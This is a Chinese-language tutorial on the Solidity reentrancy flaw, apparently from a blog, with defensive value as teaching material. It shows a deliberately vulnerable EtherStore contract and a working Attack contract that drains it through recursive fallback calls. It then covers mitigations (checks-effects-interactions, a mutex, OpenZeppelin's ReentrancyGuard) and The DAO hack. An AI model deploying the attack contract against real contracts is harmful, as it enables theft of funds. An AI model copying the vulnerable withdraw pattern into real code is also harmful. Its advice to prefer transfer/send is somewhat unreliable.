一、漏洞
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
這個(gè)被攻擊的EtherStore合約，可以用來deposit和withdraw以太幣。withdraw函數(shù)的基本邏輯是：
- 判斷sender的余額是否大于0，是的話下一步；
- 使用
call方法給sender發(fā)送合約里屬于sender所有的余額，成功發(fā)送的話下一步； - 將合約中屬于sender的余額值清零。
在攻擊合約Attack合約中，先看attack函數(shù)，基本邏輯就是先調(diào)用deposit存入1個(gè)以太，再調(diào)用withdraw取出。然而關(guān)鍵的代碼在fallback函數(shù)中，這個(gè)fallback函數(shù)會(huì)先檢測(cè)被攻擊合約EtherStore的余額，如果大于1個(gè)以太，就執(zhí)行withdraw。我們?cè)?a href="http://www.itdecent.cn/p/c9ae44a7f3e0" target="_blank">之前的文章寫過，fallback在什么時(shí)候會(huì)調(diào)用：
- 1.假設(shè)EtherStore合約中有10個(gè)ETH的余額；
- 2.攻擊者點(diǎn)擊attack函數(shù)，先執(zhí)行deposit于是攻擊者就存入了1個(gè)ETH，接下來執(zhí)行withdraw，withdraw函數(shù)前兩行成功通過，開始使用
call函數(shù)發(fā)送屬于sender（這里是Attack合約）的余額； - 3.Attack合約收到余額后，根據(jù)我們上圖所示，先看msg.data是否為空？是；receive是否存在？否；于是進(jìn)入
fallback函數(shù)； - 4.fallback函數(shù)中，先檢測(cè)
EtherStore的余額，這里應(yīng)當(dāng)是10 - 1 = 9 Ether，通過，于是又執(zhí)行withdraw； - 5.withdraw函數(shù)先檢測(cè)前兩行，（注意，這是攻擊過程的關(guān)鍵點(diǎn)！）屬于sender的余額為不為0呢？答案是不為0，仍然能通過，因?yàn)樯洗螆?zhí)行withdraw函數(shù)，其實(shí)還停留在
call發(fā)送Ether的那一步，下一步還沒有執(zhí)行，EtherStore中的balance值還沒有更新，因此這里還是能通過，繼續(xù)執(zhí)行到下一個(gè)call發(fā)送余額，這樣又把合約余額發(fā)送過去了； - 6.Attack合約的fallback函數(shù)又開始重復(fù)withdraw，一直等到EtherStore合約中的余額為0，Attack合約的fallback函數(shù)不能通過余額檢測(cè)的時(shí)候，整個(gè)提取過程才會(huì)停止。
- 7.執(zhí)行完成，被攻擊合約的所有10個(gè)ETH都被發(fā)送到了被攻擊合約Attack上了。
這里的例子，Attack合約其實(shí)用
receive函數(shù)也是可以的，而且合約里是可以有單獨(dú)的receive函數(shù)，但是單獨(dú)的fallback函數(shù)就會(huì)報(bào)warning。
二、預(yù)防方法
1.避免使用call方法轉(zhuǎn)賬
在我們這篇《Solidity的發(fā)賬和收賬詳解》中，我們說了transfer, send和call這三個(gè)轉(zhuǎn)賬函數(shù)的區(qū)別，其中最重要的一點(diǎn)是，transfer和send是有g(shù)as 2300的限制的，而call沒有。這就是為什么我們上面的例子中可以一直被遞歸執(zhí)行的原因。如果是使用transfer或者send，2300的gas很快就會(huì)耗完，根本不會(huì)一直循環(huán)被提款。
2.確保所有狀態(tài)變量的邏輯都發(fā)生在轉(zhuǎn)賬之前
我們這個(gè)例子中，能被攻擊的還有一個(gè)原因是balances余額的改變?cè)?code>call轉(zhuǎn)賬之后，所以才能反復(fù)通過前兩行的狀態(tài)檢測(cè)進(jìn)行重復(fù)提款。
3.引入互斥鎖
即在代碼執(zhí)行的時(shí)候，使用互斥鎖來鎖定合約狀態(tài)，防止重入。比如我們這個(gè)例子中，可以改成：
bool reEntrancyMutex = false;
function withdraw() public {
require(!reEntrancyMutex);
uint bal = balances[msg.sender];
require(bal > 0);
reEntrancyMutex = true;
(bool sent, ) = msg.sender.call{value: bal}("");
reEntrancyMutex = false;
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
抑或是單獨(dú)寫個(gè)ReEntrancyGuard的合約，其中只有互斥鎖變量和函數(shù)修飾器：
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
然后我們的EtherStore合約繼承并在withdraw函數(shù)里加上noReentrant的前綴即可。
open zeppelin官方實(shí)現(xiàn)了這樣的一個(gè)抽象合約ReentrancyGuard，思路就是上面的那個(gè)思路只不過它可定制化程度更高，點(diǎn)擊這里可以看到。
在我們實(shí)際項(xiàng)目中，還是經(jīng)常使用到open zeppelin的這個(gè)實(shí)現(xiàn)的。
三、真實(shí)案例
The DAO（分散式自治組織）是以太坊早期發(fā)展的主要黑客之一。當(dāng)時(shí)，該合約持有1.5億美元以上。重入在這次攻擊中發(fā)揮了重要作用，最終導(dǎo)致了 Ethereum Classic（ETC）的分叉。有關(guān)The DAO 漏洞的詳細(xì)分析，請(qǐng)參閱 Phil Daian 的文章。
